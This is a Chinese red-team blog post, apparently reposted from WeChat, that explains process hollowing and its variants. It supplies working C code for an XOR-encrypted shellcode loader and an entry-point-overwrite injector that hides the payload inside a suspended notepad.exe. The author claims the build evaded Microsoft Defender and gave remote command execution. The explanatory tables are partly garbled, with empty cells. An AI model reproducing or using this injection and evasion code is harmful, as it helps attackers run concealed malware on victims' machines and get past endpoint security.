📌 免责声明:本系列文章仅供网络安全研究人员在合法授权下学习与研究使用,严禁用于任何非法目的。违者后果自负。
进程镂空(Process Hollowing)属于 MITRE ATT&CK 中 T1055.012 子技术:先创建一个合法进程并挂起,随后把其主模块从内存“掏空”并替换为恶意映像,最后恢复线程执行,从而让恶意代码披着正常进程外壳运行。
|
|
|
---|---|---|
|
CreateProcessW(..., CREATE_SUSPENDED) |
|
|
NtQueryInformationProcess
ReadProcessMemory |
ImageBaseAddress 。 |
|
NtUnmapViewOfSection
|
NtWriteVirtualMemory 覆盖。 |
|
VirtualAllocEx
|
|
|
WriteProcessMemory
|
NewBase - OldImageBase ;缺 reloc 表会直接崩溃。 |
|
GetThreadContext / SetThreadContext
|
RCX,RDX,R8,R9 等保留寄存器。 |
|
ResumeThread |
|
|
|
|
---|---|---|
RunPE/PE‑Inject |
|
|
Transacted Hollowing |
|
|
Process Ghosting / Herpaderping / Doppelgänging |
|
|
Windows 11 24H2 MEM_IMAGE 版 |
MEM_IMAGE ;传统 MEM_PRIVATE 写入会异常 0xC0000141 终止 (cirt.gy)。 |
NtCreateSection 映射映像模式或走 Ghosting 路线。 |
// 申请 RWX 内存
LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec_mem) {
printf("VirtualAlloc failed.n");
return -1;
}
// 复制加密的 shellcode 到可执行内存
memcpy(exec_mem, encoded_shellcode, shellcode_len);
// 在已加载的内存中解密 shellcode
for (size_t i = 0; i < shellcode_len; ++i) {
((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];
}
// 创建线程执行 shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (!hThread) {
printf("CreateThread failed.n");
VirtualFree(exec_mem, 0, MEM_RELEASE);
return -1;
}
2、现在使用进程镂空技术来改造,改完如下:
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
// 1. 创建挂起的目标进程(以 notepad.exe 为例)
if (!CreateProcessA(
"C:\Windows\System32\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL,
&si, &pi))
{
printf("[-] CreateProcess failed (%d)n", GetLastError());
return -1;
}
printf("[+] Suspended process created (PID: %d)n", pi.dwProcessId);
// 2. 获取线程上下文
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("[-] GetThreadContext failed (%d)n", GetLastError());
return -1;
}
// 3. 获取 ImageBase 地址
DWORD64 imageBase = 0;
ReadProcessMemory(pi.hProcess,
(LPCVOID)(ctx.Rdx + 0x10),
&imageBase, sizeof(imageBase), NULL);
// 4. 解析入口点 RVA
IMAGE_DOS_HEADER dos = { 0 };
IMAGE_NT_HEADERS64 nt = { 0 };
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, &dos, sizeof(dos), NULL);
ReadProcessMemory(pi.hProcess,
(LPCVOID)(imageBase + dos.e_lfanew),
&nt, sizeof(nt), NULL);
DWORD64 entryRVA = nt.OptionalHeader.AddressOfEntryPoint;
DWORD64 targetAddr = imageBase + entryRVA;
// 5. 修改目标内存页权限为可写可执行
DWORD oldProt = 0;
VirtualProtectEx(pi.hProcess,
(LPVOID)targetAddr,
shellcodeSize,
PAGE_EXECUTE_READWRITE,
&oldProt);
// 6. 写入已加密 shellcode
if (!WriteProcessMemory(pi.hProcess,
(LPVOID)targetAddr,
shellcode, shellcodeSize, NULL))
{
printf("[-] WriteProcessMemory (encrypted) failed (%d)n", GetLastError());
return -1;
}
printf("[+] Encrypted shellcode written to target process.n");
// 7. 在目标进程内存中进行 XOR 解密(Key: "kun")
unsigned char xorKey[] = "kun"; // XOR 密钥字符串
SIZE_T keyLen = sizeof(xorKey) - 1; // 不包含末尾 '�'
for (SIZE_T i = 0; i < shellcodeSize; i++) {
unsigned char encByte = 0;
// 读取加密字节
if (!ReadProcessMemory(pi.hProcess,
(LPCVOID)(targetAddr + i),
&encByte, 1, NULL))
{
printf("[-] ReadProcessMemory failed at offset %llu (%d)n", i, GetLastError());
return -1;
}
// XOR 解密
unsigned char decByte = encByte ^ xorKey[i % keyLen];
// 写回解密后字节
if (!WriteProcessMemory(pi.hProcess,
(LPVOID)(targetAddr + i),
&decByte, 1, NULL))
{
printf("[-] WriteProcessMemory failed at offset %llu (%d)n", i, GetLastError());
return -1;
}
}
printf("[+] Shellcode decrypted in target process memory.n");
// 8. 设置线程 RIP 到 shellcode 地址
ctx.Rip = targetAddr;
if (!SetThreadContext(pi.hThread, &ctx)) {
printf("[-] SetThreadContext failed (%d)n", GetLastError());
return -1;
}
// 9. 恢复线程执行
ResumeThread(pi.hThread);
当然,我这里并不符合以上“标准流程”,而是上述第一种变体(RunPE/PE‑Inject),像是一种入口点覆盖式的注入,区别如下:
-
并没有“掏空”原进程的合法映像,而是在原映像内直接覆盖; -
没有按照 PE 结构重建映像,也没有处理重定位、导入表等; -
红队常用,代码更简单。
3、将两份代码全部编译出来,进行对比
拉到DF上检测,结果如图:
运行测试,成功上线并执行命令,进程镂空(傀儡进程)绕过DF!
如图,恶意程序的真实的名称并不会出现在进程清单里,取而代之的是notepad.exe
通常所说的傀儡进程,主要就是指进程镂空(Process Hollowing) ,但是这两个概念并非完全等价的术语。傀儡进程是一个更广泛的概念,指攻击者控制的一个表面上看起来“正常”的进程,实际却在执行恶意任务。它包括不限于:进程镂空、进程替身、父子关系欺骗、镜像劫持、进程劫持等。
|
|
|
---|---|---|
|
|
CreateProcess
|
|
|
|
#进程镂空 #傀儡进程 #ProcessHollowing #RunPE #执行伪装
原文始发于微信公众号(仇辉攻防):披着羊皮的狼:进程镂空技术在红队演练中的伪装应用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论